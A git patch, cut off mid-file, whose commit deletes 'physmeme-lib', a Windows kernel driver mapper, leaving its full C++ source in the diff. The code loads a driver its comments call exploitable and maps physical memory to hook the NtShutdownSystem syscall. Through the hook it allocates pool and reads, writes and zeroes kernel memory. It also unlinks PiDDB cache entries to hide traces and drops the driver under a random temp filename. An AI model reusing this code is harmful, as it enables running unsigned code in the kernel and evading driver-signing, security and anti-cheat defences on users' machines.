From c960f3c60e48b851351d3acefa0fbb891df106b7 Mon Sep 17 00:00:00 2001 From: xerox Date: Thu, 15 Oct 2020 19:59:03 -0700 Subject: [PATCH] fixed an issue where only *sometimes* the driver would return an invalid address (Added a try/catch) --- physmeme-lib/drv_image/drv_image.cpp | 215 -- physmeme-lib/drv_image/drv_image.h | 77 - physmeme-lib/kernel_ctx/kernel_ctx.cpp | 346 ---- physmeme-lib/kernel_ctx/kernel_ctx.h | 133 -- physmeme-lib/loadup.hpp | 281 --- physmeme-lib/map_driver.cpp | 91 - physmeme-lib/map_driver.hpp | 9 - physmeme-lib/physmeme-lib.vcxproj | 178 -- physmeme-lib/physmeme-lib.vcxproj.filters | 71 - physmeme-lib/physmeme-lib.vcxproj.user | 19 - physmeme-lib/physmeme/physmeme.hpp | 112 -- physmeme-lib/raw_driver.hpp | 2239 --------------------- physmeme-lib/util/hook.hpp | 190 -- physmeme-lib/util/nt.hpp | 114 -- physmeme-lib/util/util.hpp | 344 ---- physmeme.sln | 10 - physmeme/kernel_ctx/kernel_ctx.cpp | 247 +-- physmeme/kernel_ctx/kernel_ctx.h | 3 - physmeme/main.cpp | 22 +- physmeme/physmeme/physmeme.hpp | 21 +- physmeme/util/hook.hpp | 15 +- 21 files changed, 53 insertions(+), 4684 deletions(-) delete mode 100644 physmeme-lib/drv_image/drv_image.cpp delete mode 100644 physmeme-lib/drv_image/drv_image.h delete mode 100644 physmeme-lib/kernel_ctx/kernel_ctx.cpp delete mode 100644 physmeme-lib/kernel_ctx/kernel_ctx.h delete mode 100644 physmeme-lib/loadup.hpp delete mode 100644 physmeme-lib/map_driver.cpp delete mode 100644 physmeme-lib/map_driver.hpp delete mode 100644 physmeme-lib/physmeme-lib.vcxproj delete mode 100644 physmeme-lib/physmeme-lib.vcxproj.filters delete mode 100644 physmeme-lib/physmeme-lib.vcxproj.user delete mode 100644 physmeme-lib/physmeme/physmeme.hpp delete mode 100644 physmeme-lib/raw_driver.hpp delete mode 100644 physmeme-lib/util/hook.hpp delete mode 100644 physmeme-lib/util/nt.hpp delete mode 100644 physmeme-lib/util/util.hpp diff --git a/physmeme-lib/drv_image/drv_image.cpp b/physmeme-lib/drv_image/drv_image.cpp deleted file mode 100644 index b51fbb5..0000000 --- a/physmeme-lib/drv_image/drv_image.cpp +++ /dev/null @@ -1,215 +0,0 @@ -/* -This is free and unencumbered software released into the public domain. - -Anyone is free to copy, modify, publish, use, compile, sell, or -distribute this software, either in source code form or as a compiled -binary, for any purpose, commercial or non-commercial, and by any -means. - -In jurisdictions that recognize copyright laws, the author or authors -of this software dedicate any and all copyright interest in the -software to the public domain. We make this dedication for the benefit -of the public at large and to the detriment of our heirs and -successors. We intend this dedication to be an overt act of -relinquishment in perpetuity of all present and future rights to this -software under copyright law. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, -EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF -MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. -IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR -OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, -ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR -OTHER DEALINGS IN THE SOFTWARE. - -For more information, please refer to - - -!!!!!!!!!!!!!!!!!!!!!!!!!!! This code was created by not-wlan (wlan). all credit for this header and source file goes to him !!!!!!!!!!!!!!!!!!!!!!!!!!!!! -*/ - -#include -#include "../drv_image/drv_image.h" - -namespace physmeme -{ - drv_image::drv_image(std::vector image) : m_image(std::move(image)) - { - m_dos_header = reinterpret_cast(m_image.data()); - m_nt_headers = reinterpret_cast((uintptr_t)m_dos_header + m_dos_header->e_lfanew); - m_section_header = reinterpret_cast((uintptr_t)(&m_nt_headers->OptionalHeader) + m_nt_headers->FileHeader.SizeOfOptionalHeader); - } - - size_t drv_image::size() const - { - return m_nt_headers->OptionalHeader.SizeOfImage; - } - - uintptr_t drv_image::entry_point() const - { - return m_nt_headers->OptionalHeader.AddressOfEntryPoint; - } - - void drv_image::map() - { - m_image_mapped.clear(); - m_image_mapped.resize(m_nt_headers->OptionalHeader.SizeOfImage); - std::copy_n(m_image.begin(), m_nt_headers->OptionalHeader.SizeOfHeaders, m_image_mapped.begin()); - - for (size_t i = 0; i < m_nt_headers->FileHeader.NumberOfSections; ++i) - { - const auto& section = m_section_header[i]; - const auto target = (uintptr_t)m_image_mapped.data() + section.VirtualAddress; - const auto source = (uintptr_t)m_dos_header + section.PointerToRawData; - std::copy_n(m_image.begin() + section.PointerToRawData, section.SizeOfRawData, m_image_mapped.begin() + section.VirtualAddress); - printf("[+] copying [%s] 0x%p -> 0x%p [0x%04X]\n", §ion.Name[0], (void*)source, (void*)target, section.SizeOfRawData); - } - } - - bool drv_image::process_relocation(uintptr_t image_base_delta, uint16_t data, uint8_t* relocation_base) - { -#define IMR_RELOFFSET(x) (x & 0xFFF) - - switch (data >> 12 & 0xF) - { - case IMAGE_REL_BASED_HIGH: - { - const auto raw_address = reinterpret_cast(relocation_base + IMR_RELOFFSET(data)); - *raw_address += static_cast(HIWORD(image_base_delta)); - break; - } - case IMAGE_REL_BASED_LOW: - { - const auto raw_address = reinterpret_cast(relocation_base + IMR_RELOFFSET(data)); - *raw_address += static_cast(LOWORD(image_base_delta)); - break; - } - case IMAGE_REL_BASED_HIGHLOW: - { - const auto raw_address = reinterpret_cast(relocation_base + IMR_RELOFFSET(data)); - *raw_address += static_cast(image_base_delta); - break; - } - case IMAGE_REL_BASED_DIR64: - { - auto UNALIGNED raw_address = reinterpret_cast(relocation_base + IMR_RELOFFSET(data)); - *raw_address += image_base_delta; - break; - } - case IMAGE_REL_BASED_ABSOLUTE: // No action required - case IMAGE_REL_BASED_HIGHADJ: // no action required - { - break; - } - default: - { - return false; - } - - } -#undef IMR_RELOFFSET - - return true; - } - - - void drv_image::relocate(void* base) const - { - if (m_nt_headers->FileHeader.Characteristics & IMAGE_FILE_RELOCS_STRIPPED) - return; - - ULONG total_count_bytes; - const auto nt_headers = ImageNtHeader((void*)m_image_mapped.data()); - auto relocation_directory = (PIMAGE_BASE_RELOCATION)::ImageDirectoryEntryToData(nt_headers, TRUE, IMAGE_DIRECTORY_ENTRY_BASERELOC, &total_count_bytes); - auto image_base_delta = static_cast(reinterpret_cast(base) - (nt_headers->OptionalHeader.ImageBase)); - auto relocation_size = total_count_bytes; - - // This should check (DllCharacteristics & IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) too but lots of drivers do not have it set due to WDK defaults - const bool doRelocations = image_base_delta != 0 && relocation_size > 0; - - if (!doRelocations) - { - printf("[+] no relocations needed\n"); - return; - } - - void* relocation_end = reinterpret_cast(relocation_directory) + relocation_size; - - while (relocation_directory < relocation_end) - { - auto relocation_base = ::ImageRvaToVa(nt_headers, (void*)m_image_mapped.data(), relocation_directory->VirtualAddress, nullptr); - - auto num_relocs = (relocation_directory->SizeOfBlock - 8) >> 1; - - auto relocation_data = reinterpret_cast(relocation_directory + 1); - - for (unsigned long i = 0; i < num_relocs; ++i, ++relocation_data) - { - if (process_relocation(image_base_delta, *relocation_data, (uint8_t*)relocation_base) == FALSE) - { - printf("[+] failed to relocate!"); - return; - } - } - - relocation_directory = reinterpret_cast(relocation_data); - } - - } - - template - __forceinline T* ptr_add(void* base, uintptr_t offset) - { - return (T*)(uintptr_t)base + offset; - } - - void drv_image::fix_imports(const std::function get_module, const std::function get_function) - { - ULONG size; - auto import_descriptors = static_cast(::ImageDirectoryEntryToData(m_image.data(), FALSE, IMAGE_DIRECTORY_ENTRY_IMPORT, &size)); - - if (import_descriptors == nullptr) - { - printf("[+] no imports!\n"); - return; - } - - for (; import_descriptors->Name; import_descriptors++) - { - IMAGE_THUNK_DATA* image_thunk_data; - - const auto module_name = get_rva(import_descriptors->Name); - const auto module_base = get_module(module_name); - printf("[+] processing module: %s [0x%I64X]\n", module_name, module_base); - - if (import_descriptors->OriginalFirstThunk) - image_thunk_data = get_rva(import_descriptors->OriginalFirstThunk); - else - image_thunk_data = get_rva(import_descriptors->FirstThunk); - auto image_func_data = get_rva(import_descriptors->FirstThunk); -; - - for (; image_thunk_data->u1.AddressOfData; image_thunk_data++, image_func_data++) - { - uintptr_t function_address; - const auto ordinal = (image_thunk_data->u1.Ordinal & IMAGE_ORDINAL_FLAG64) != 0; - const auto image_import_by_name = get_rva(*(DWORD*)image_thunk_data); - const auto name_of_import = static_cast(image_import_by_name->Name); - function_address = get_function(module_name, name_of_import); - - printf("[+] function: %s [0x%I64X]\n", name_of_import, function_address); - image_func_data->u1.Function = function_address; - } - } - } - - void* drv_image::data() - { - return m_image_mapped.data(); - } - - size_t drv_image::header_size() - { - return m_nt_headers->OptionalHeader.SizeOfHeaders; - } -} \ No newline at end of file diff --git a/physmeme-lib/drv_image/drv_image.h b/physmeme-lib/drv_image/drv_image.h deleted file mode 100644 index 7e98369..0000000 --- a/physmeme-lib/drv_image/drv_image.h +++ /dev/null @@ -1,77 +0,0 @@ -/* -This is free and unencumbered software released into the public domain. - -Anyone is free to copy, modify, publish, use, compile, sell, or -distribute this software, either in source code form or as a compiled -binary, for any purpose, commercial or non-commercial, and by any -means. - -In jurisdictions that recognize copyright laws, the author or authors -of this software dedicate any and all copyright interest in the -software to the public domain. We make this dedication for the benefit -of the public at large and to the detriment of our heirs and -successors. We intend this dedication to be an overt act of -relinquishment in perpetuity of all present and future rights to this -software under copyright law. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, -EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF -MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. -IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR -OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, -ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR -OTHER DEALINGS IN THE SOFTWARE. - -For more information, please refer to - - -!!!!!!!!!!!!!!!!!!!!!!!!!!! This code was created by not-wlan (wlan). all credit for this header and source file goes to him !!!!!!!!!!!!!!!!!!!!!!!!!!!!! -*/ - - -#pragma once -#include -#define WIN32_NO_STATUS -#include -#include -#undef WIN32_NO_STATUS -#include - -#include -#include -#include -#include "../util/nt.hpp" - -#pragma comment(lib, "Dbghelp.lib") -namespace physmeme -{ - class drv_image - { - std::vector m_image; - std::vector m_image_mapped; - PIMAGE_DOS_HEADER m_dos_header = nullptr; - PIMAGE_NT_HEADERS64 m_nt_headers = nullptr; - PIMAGE_SECTION_HEADER m_section_header = nullptr; - - public: - explicit drv_image(std::vector image); - size_t size() const; - uintptr_t entry_point() const; - void map(); - static bool process_relocation(size_t image_base_delta, uint16_t data, uint8_t* relocation_base); - void relocate(void* base) const; - - template - __forceinline T* get_rva(const unsigned long offset) - { - return (T*)::ImageRvaToVa(m_nt_headers, m_image.data(), offset, nullptr); - } - - void fix_imports( - const std::function get_module, - const std::function get_function - ); - void* data(); - size_t header_size(); - }; -} \ No newline at end of file diff --git a/physmeme-lib/kernel_ctx/kernel_ctx.cpp b/physmeme-lib/kernel_ctx/kernel_ctx.cpp deleted file mode 100644 index bff33f3..0000000 --- a/physmeme-lib/kernel_ctx/kernel_ctx.cpp +++ /dev/null @@ -1,346 +0,0 @@ -#include "kernel_ctx.h" - -namespace physmeme -{ - kernel_ctx::kernel_ctx() - { - if (psyscall_func.load() || nt_page_offset || ntoskrnl_buffer) - return; - - nt_rva = reinterpret_cast( - util::get_kernel_export( - "ntoskrnl.exe", - syscall_hook.first.data(), - true - )); - - nt_page_offset = nt_rva % page_size; - ntoskrnl_buffer = reinterpret_cast( - LoadLibraryEx("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES) - ); - - std::vector search_threads; - //--- for each physical memory range, make a thread to search it - for (auto ranges : util::pmem_ranges) - search_threads.emplace_back(std::thread( - &kernel_ctx::map_syscall, - this, - ranges.first, - ranges.second - )); - - for (std::thread& search_thread : search_threads) - search_thread.join(); - } - - void kernel_ctx::map_syscall(std::uintptr_t begin, std::uintptr_t end) const - { - //if the physical memory range is less then or equal to 2mb - if (begin + end <= 0x1000 * 512) - { - auto page_va = physmeme::map_phys(begin + nt_page_offset, end); - if (page_va) - { - // scan every page of the physical memory range - for (auto page = page_va; page < page_va + end; page += 0x1000) - if (!is_page_found.load()) // keep scanning until its found - if (!memcmp(reinterpret_cast(page), ntoskrnl_buffer + nt_rva, 32)) - { - // - // this checks to ensure that the syscall does indeed work. if it doesnt, we keep looking! - // - psyscall_func.store((void*)page); - auto my_proc_base = reinterpret_cast(GetModuleHandleA(NULL)); - auto my_proc_base_from_syscall = reinterpret_cast(get_proc_base(GetCurrentProcessId())); - - if (my_proc_base != my_proc_base_from_syscall) - continue; - - is_page_found.store(true); - return; - } - physmeme::unmap_phys(page_va, end); - } - } - else // else the range is bigger then 2mb - { - auto remainder = (begin + end) % (0x1000 * 512); - - // loop over 2m chunks - for (auto range = begin; range < begin + end; range += 0x1000 * 512) - { - auto page_va = physmeme::map_phys(range + nt_page_offset, 0x1000 * 512); - if (page_va) - { - // loop every page of 2mbs (512) - for (auto page = page_va; page < page_va + 0x1000 * 512; page += 0x1000) - { - if (!is_page_found.load()) - { - if (!memcmp(reinterpret_cast(page), ntoskrnl_buffer + nt_rva, 32)) - { - // - // this checks to ensure that the syscall does indeed work. if it doesnt, we keep looking! - // - psyscall_func.store((void*)page); - auto my_proc_base = reinterpret_cast(GetModuleHandle(NULL)); - auto my_proc_base_from_syscall = reinterpret_cast(get_proc_base(GetCurrentProcessId())); - - if (my_proc_base != my_proc_base_from_syscall) - continue; - - is_page_found.store(true); - return; - } - } - } - physmeme::unmap_phys(page_va, 0x1000 * 512); - } - } - - // map the remainder and check each page of it - auto page_va = physmeme::map_phys(begin + end - remainder + nt_page_offset, remainder); - if (page_va) - { - for (auto page = page_va; page < page_va + remainder; page += 0x1000) - { - if (!is_page_found.load()) - { - if (!memcmp(reinterpret_cast(page), ntoskrnl_buffer + nt_rva, 32)) - { - // - // this checks to ensure that the syscall does indeed work. if it doesnt, we keep looking! - // - psyscall_func.store((void*)page); - auto my_proc_base = reinterpret_cast(GetModuleHandle(NULL)); - auto my_proc_base_from_syscall = reinterpret_cast(get_proc_base(GetCurrentProcessId())); - - if (my_proc_base != my_proc_base_from_syscall) - continue; - - is_page_found.store(true); - return; - } - } - } - physmeme::unmap_phys(page_va, remainder); - } - } - } - - bool kernel_ctx::clear_piddb_cache(const std::string& file_name, const std::uint32_t timestamp) - { - static const auto piddb_lock = - util::memory::get_piddb_lock(); - - static const auto piddb_table = - util::memory::get_piddb_table(); - - if (!piddb_lock || !piddb_table) - return false; - - static const auto ex_acquire_resource = - util::get_kernel_export( - "ntoskrnl.exe", - "ExAcquireResourceExclusiveLite" - ); - - static const auto lookup_element_table = - util::get_kernel_export( - "ntoskrnl.exe", - "RtlLookupElementGenericTableAvl" - ); - - static const auto release_resource = - util::get_kernel_export( - "ntoskrnl.exe", - "ExReleaseResourceLite" - ); - - static const auto delete_table_entry = - util::get_kernel_export( - "ntoskrnl.exe", - "RtlDeleteElementGenericTableAvl" - ); - - if (!ex_acquire_resource || !lookup_element_table || !release_resource) - return false; - - PiDDBCacheEntry cache_entry; - const auto drv_name = std::wstring(file_name.begin(), file_name.end()); - cache_entry.time_stamp = timestamp; - RtlInitUnicodeString(&cache_entry.driver_name, drv_name.data()); - - // - // ExAcquireResourceExclusiveLite - // - if (!syscall(ex_acquire_resource, piddb_lock, true)) - return false; - - // - // RtlLookupElementGenericTableAvl - // - PIDCacheobj* found_entry_ptr = - syscall( - lookup_element_table, - piddb_table, - reinterpret_cast(&cache_entry) - ); - - if (found_entry_ptr) - { - - // - // unlink entry. - // - PIDCacheobj found_entry = read_kernel(found_entry_ptr); - LIST_ENTRY NextEntry = read_kernel(found_entry.list.Flink); - LIST_ENTRY PrevEntry = read_kernel(found_entry.list.Blink); - - PrevEntry.Flink = found_entry.list.Flink; - NextEntry.Blink = found_entry.list.Blink; - - write_kernel(found_entry.list.Blink, PrevEntry); - write_kernel(found_entry.list.Flink, NextEntry); - - // - // delete entry. - // - syscall(delete_table_entry, piddb_table, found_entry_ptr); - - // - // ensure the entry is 0 - // - auto result = syscall( - lookup_element_table, - piddb_table, - reinterpret_cast(&cache_entry) - ); - - syscall(release_resource, piddb_lock); - return !result; - } - syscall(release_resource, piddb_lock); - return false; - } - - void* kernel_ctx::allocate_pool(std::size_t size, POOL_TYPE pool_type) - { - static const auto ex_alloc_pool = - util::get_kernel_export( - "ntoskrnl.exe", - "ExAllocatePool" - ); - - return syscall( - ex_alloc_pool, - pool_type, - size - ); - } - - void* kernel_ctx::allocate_pool(std::size_t size, ULONG pool_tag, POOL_TYPE pool_type) - { - static const auto ex_alloc_pool_with_tag = - util::get_kernel_export( - "ntoskrnl.exe", - "ExAllocatePoolWithTag" - ); - - return syscall( - ex_alloc_pool_with_tag, - pool_type, - size, - pool_tag - ); - } - - void kernel_ctx::read_kernel(void* addr, void* buffer, std::size_t size) - { - static const auto mm_copy_memory = - util::get_kernel_export( - "ntoskrnl.exe", - "RtlCopyMemory" - ); - - syscall( - mm_copy_memory, - buffer, - addr, - size - ); - } - - void kernel_ctx::write_kernel(void* addr, void* buffer, std::size_t size) - { - static const auto mm_copy_memory = - util::get_kernel_export( - "ntoskrnl.exe", - "RtlCopyMemory" - ); - - syscall( - mm_copy_memory, - addr, - buffer, - size - ); - } - - void kernel_ctx::zero_kernel_memory(void* addr, std::size_t size) - { - static const auto rtl_zero_memory = - util::get_kernel_export( - "ntoskrnl.exe", - "RtlZeroMemory" - ); - - syscall( - rtl_zero_memory, - addr, - size - ); - } - - PEPROCESS kernel_ctx::get_peprocess(unsigned pid) const - { - if (!pid) - return {}; - - PEPROCESS proc; - static auto get_peprocess_from_pid = - util::get_kernel_export( - "ntoskrnl.exe", - "PsLookupProcessByProcessId" - ); - - syscall( - get_peprocess_from_pid, - (HANDLE)pid, - &proc - ); - return proc; - } - - void* kernel_ctx::get_proc_base(unsigned pid) const - { - if (!pid) - return {}; - - const auto peproc = get_peprocess(pid); - - if (!peproc) - return {}; - - static auto get_section_base = - util::get_kernel_export( - "ntoskrnl.exe", - "PsGetProcessSectionBaseAddress" - ); - - return syscall( - get_section_base, - peproc - ); - } -} \ No newline at end of file diff --git a/physmeme-lib/kernel_ctx/kernel_ctx.h b/physmeme-lib/kernel_ctx/kernel_ctx.h deleted file mode 100644 index 344e8cc..0000000 --- a/physmeme-lib/kernel_ctx/kernel_ctx.h +++ /dev/null @@ -1,133 +0,0 @@ -#pragma once -#include -#include -#include -#include -#include -#include - -#include "../util/util.hpp" -#include "../physmeme/physmeme.hpp" -#include "../util/hook.hpp" - -namespace physmeme -{ - // - // offset of function into a physical page - // used for comparing bytes when searching - // - inline std::uint16_t nt_page_offset{}; - - // - // rva of nt function we are going to hook - // - inline std::uint32_t nt_rva{}; - - // - // base address of ntoskrnl (inside of this process) - // - inline const std::uint8_t* ntoskrnl_buffer{}; - - // - // has the page been found yet? - // - inline std::atomic is_page_found = false; - - // - // mapping of a syscalls physical memory (for installing hooks) - // - inline std::atomic psyscall_func{}; - - // - // you can edit this how you choose, im hooking NtShutdownSystem. - // - inline const std::pair syscall_hook = { "NtShutdownSystem", "ntdll.dll" }; - - class kernel_ctx - { - public: - // - // default constructor - // - kernel_ctx(); - - // - // allocate kernel pool of desired size and type - // - void* allocate_pool(std::size_t size, POOL_TYPE pool_type = NonPagedPool); - - // - // allocate kernel pool of size, pool tag, and type - // - void* allocate_pool(std::size_t size, ULONG pool_tag = 'MEME', POOL_TYPE pool_type = NonPagedPool); - - // - // read kernel memory with RtlCopyMemory - // - void read_kernel(void* addr, void* buffer, std::size_t size); - - // - // write kernel memory with RtlCopyMemory - // - void write_kernel(void* addr, void* buffer, std::size_t size); - - // - // zero kernel memory using RtlZeroMemory - // - void zero_kernel_memory(void* addr, std::size_t size); - - // - // clear piddb cache of a specific driver - // - bool clear_piddb_cache(const std::string& file_name, const std::uint32_t timestamp); - - template - T read_kernel(void* addr) - { - if (!addr) - return {}; - T buffer; - read_kernel(addr, (void*)&buffer, sizeof(T)); - return buffer; - } - - template - void write_kernel(void* addr, const T& data) - { - if (!addr) - return; - write_kernel(addr, (void*)&data, sizeof(T)); - } - - template - std::invoke_result_t syscall(void* addr, Ts ... args) const - { - static const auto proc = - GetProcAddress( - GetModuleHandleA("ntdll.dll"), - syscall_hook.first.data() - ); - - hook::make_hook(psyscall_func, addr); - auto result = reinterpret_cast(proc)(args ...); - hook::remove(psyscall_func); - return result; - } - private: - - // - // find and map the physical page of a syscall into this process - // - void map_syscall(std::uintptr_t begin, std::uintptr_t end) const; - - // - // used in conjunction with get_process_base. - // - PEPROCESS get_peprocess(unsigned pid) const; - - // - // get base address of process (used to compare and ensure we find the right page). - // - void* get_proc_base(unsigned pid) const; - }; -} \ No newline at end of file diff --git a/physmeme-lib/loadup.hpp b/physmeme-lib/loadup.hpp deleted file mode 100644 index 11067e4..0000000 --- a/physmeme-lib/loadup.hpp +++ /dev/null @@ -1,281 +0,0 @@ -/* - MIT License - - Copyright (c) 2020 xerox - - Permission is hereby granted, free of charge, to any person obtaining a copy - of this software and associated documentation files (the "Software"), to deal - in the Software without restriction, including without limitation the rights - to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - copies of the Software, and to permit persons to whom the Software is - furnished to do so, subject to the following conditions: - - The above copyright notice and this permission notice shall be included in all - copies or substantial portions of the Software. - - THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - SOFTWARE. -*/ - - -#pragma once -#include -#include -#include -#include -#include - -#pragma comment(lib, "ntdll.lib") -using nt_load_driver_t = NTSTATUS(__fastcall*)(PUNICODE_STRING); -using nt_unload_driver_t = NTSTATUS(__fastcall*)(PUNICODE_STRING); - -namespace driver -{ - namespace util - { - inline bool delete_service_entry(const std::string& service_name) - { - HKEY reg_handle; - static const std::string reg_key("System\\CurrentControlSet\\Services\\"); - - auto result = RegOpenKeyA( - HKEY_LOCAL_MACHINE, - reg_key.c_str(), - ®_handle - ); - - return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) && ERROR_SUCCESS == RegCloseKey(reg_handle);; - } - - inline bool create_service_entry(const std::string& drv_path, const std::string& service_name) - { - HKEY reg_handle; - std::string reg_key("System\\CurrentControlSet\\Services\\"); - reg_key += service_name; - - auto result = RegCreateKeyA( - HKEY_LOCAL_MACHINE, - reg_key.c_str(), - ®_handle - ); - - if (result != ERROR_SUCCESS) - return false; - - // - // set type to 1 (kernel) - // - constexpr std::uint8_t type_value = 1; - result = RegSetValueExA( - reg_handle, - "Type", - NULL, - REG_DWORD, - &type_value, - 4u - ); - - if (result != ERROR_SUCCESS) - return false; - - // - // set error control to 3 - // - constexpr std::uint8_t error_control_value = 3; - result = RegSetValueExA( - reg_handle, - "ErrorControl", - NULL, - REG_DWORD, - &error_control_value, - 4u - ); - - if (result != ERROR_SUCCESS) - return false; - - // - // set start to 3 - // - constexpr std::uint8_t start_value = 3; - result = RegSetValueExA( - reg_handle, - "Start", - NULL, - REG_DWORD, - &start_value, - 4u - ); - - if (result != ERROR_SUCCESS) - return false; - - // - // set image path to the driver on disk - // - result = RegSetValueExA( - reg_handle, - "ImagePath", - NULL, - REG_SZ, - (std::uint8_t*) drv_path.c_str(), - drv_path.size() - ); - - if (result != ERROR_SUCCESS) - return false; - - return ERROR_SUCCESS == RegCloseKey(reg_handle); - } - - // this function was coded by paracord: https://githacks.org/snippets/4#L94 - inline bool enable_privilege(const std::wstring& privilege_name) - { - HANDLE token_handle = nullptr; - if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle)) - return false; - - LUID luid{}; - if (!LookupPrivilegeValueW(nullptr, privilege_name.data(), &luid)) - return false; - - TOKEN_PRIVILEGES token_state{}; - token_state.PrivilegeCount = 1; - token_state.Privileges[0].Luid = luid; - token_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; - - if (!AdjustTokenPrivileges(token_handle, FALSE, &token_state, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr)) - return false; - - CloseHandle(token_handle); - return true; - } - - inline std::string get_service_image_path(const std::string& service_name) - { - HKEY reg_handle; - DWORD bytes_read; - char image_path[0xFF]; - static const std::string reg_key("System\\CurrentControlSet\\Services\\"); - - auto result = RegOpenKeyA( - HKEY_LOCAL_MACHINE, - reg_key.c_str(), - ®_handle - ); - - result = RegGetValueA( - reg_handle, - service_name.c_str(), - "ImagePath", - REG_SZ, - NULL, - image_path, - &bytes_read - ); - - RegCloseKey(reg_handle); - return std::string(image_path); - } - } - - inline bool load(const std::string& drv_path, const std::string& service_name) - { - if (!util::enable_privilege(L"SeLoadDriverPrivilege")) - return false; - - if (!util::create_service_entry("\\??\\" + std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name)) - return false; - - std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\"); - reg_path += service_name; - - static const auto lp_nt_load_drv = - ::GetProcAddress( - GetModuleHandleA("ntdll.dll"), - "NtLoadDriver" - ); - - if (lp_nt_load_drv) - { - ANSI_STRING driver_rep_path_cstr; - UNICODE_STRING driver_reg_path_unicode; - - RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str()); - RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true); - return ERROR_SUCCESS == reinterpret_cast(lp_nt_load_drv)(&driver_reg_path_unicode); - } - return false; - } - - inline std::tuple load(const std::vector& drv_buffer) - { - static const auto random_file_name = [](std::size_t length) -> std::string - { - static const auto randchar = []() -> char - { - const char charset[] = - "0123456789" - "ABCDEFGHIJKLMNOPQRSTUVWXYZ" - "abcdefghijklmnopqrstuvwxyz"; - const std::size_t max_index = (sizeof(charset) - 1); - return charset[rand() % max_index]; - }; - std::string str(length, 0); - std::generate_n(str.begin(), length, randchar); - return str; - }; - - const auto service_name = random_file_name(16); - const auto file_path = std::filesystem::temp_directory_path().string() + service_name; - std::ofstream output_file(file_path.c_str(), std::ios::binary); - - output_file.write((char*)drv_buffer.data(), drv_buffer.size()); - output_file.close(); - - return { load(file_path, service_name), service_name }; - } - - inline std::tuple load(const std::uint8_t* buffer, const std::size_t size) - { - std::vector image(buffer, buffer + size); - return load(image); - } - - inline bool unload(const std::string& service_name) - { - std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\"); - reg_path += service_name; - - static const auto lp_nt_unload_drv = - ::GetProcAddress( - GetModuleHandleA("ntdll.dll"), - "NtUnloadDriver" - ); - - if (lp_nt_unload_drv) - { - ANSI_STRING driver_rep_path_cstr; - UNICODE_STRING driver_reg_path_unicode; - - RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str()); - RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true); - - const bool unload_drv = !reinterpret_cast(lp_nt_unload_drv)(&driver_reg_path_unicode); - const auto image_path = std::filesystem::temp_directory_path().string() + service_name; - const bool delete_reg = util::delete_service_entry(service_name); - - try - { - const bool delete_drv = std::filesystem::remove(image_path); - }catch (std::exception& e) {} - return unload_drv && delete_reg; - } - return false; - } -} \ No newline at end of file diff --git a/physmeme-lib/map_driver.cpp b/physmeme-lib/map_driver.cpp deleted file mode 100644 index a9eb895..0000000 --- a/physmeme-lib/map_driver.cpp +++ /dev/null @@ -1,91 +0,0 @@ -#include "kernel_ctx/kernel_ctx.h" -#include "drv_image/drv_image.h" - -namespace physmeme -{ - NTSTATUS __cdecl map_driver(std::vector& raw_driver) - { - physmeme::drv_image image(raw_driver); - - // - // load exploitable driver - // - if (!physmeme::load_drv()) - return STATUS_ABANDONED; - - physmeme::kernel_ctx ctx; - - // - // shoot the tires off piddb cache. - // - const auto drv_timestamp = util::get_file_header(raw_driver.data())->TimeDateStamp; - if (!ctx.clear_piddb_cache(physmeme::drv_key, drv_timestamp)) - return STATUS_ABANDONED; - - // - // lambdas used for fixing driver image - // - const auto _get_module = [&](std::string_view name) - { - return util::get_module_base(name.data()); - }; - - const auto _get_export_name = [&](const char* base, const char* name) - { - return reinterpret_cast(util::get_kernel_export(base, name)); - }; - - // - // fix the driver image - // - image.fix_imports(_get_module, _get_export_name); - image.map(); - - // - // allocate memory in the kernel for the driver - // - const auto pool_base = - ctx.allocate_pool( - image.size(), - NonPagedPool - ); - - image.relocate(pool_base); - - // - // copy driver into the kernel - // - ctx.write_kernel(pool_base, image.data(), image.size()); - - // - // driver entry - // - auto entry_point = reinterpret_cast(pool_base) + image.entry_point(); - - // - // call driver entry - // - auto result = ctx.syscall( - reinterpret_cast(entry_point), - reinterpret_cast(pool_base), - image.size() - ); - - // - // zero driver headers - // - ctx.zero_kernel_memory(pool_base, image.header_size()); - - physmeme::unmap_all(); - if 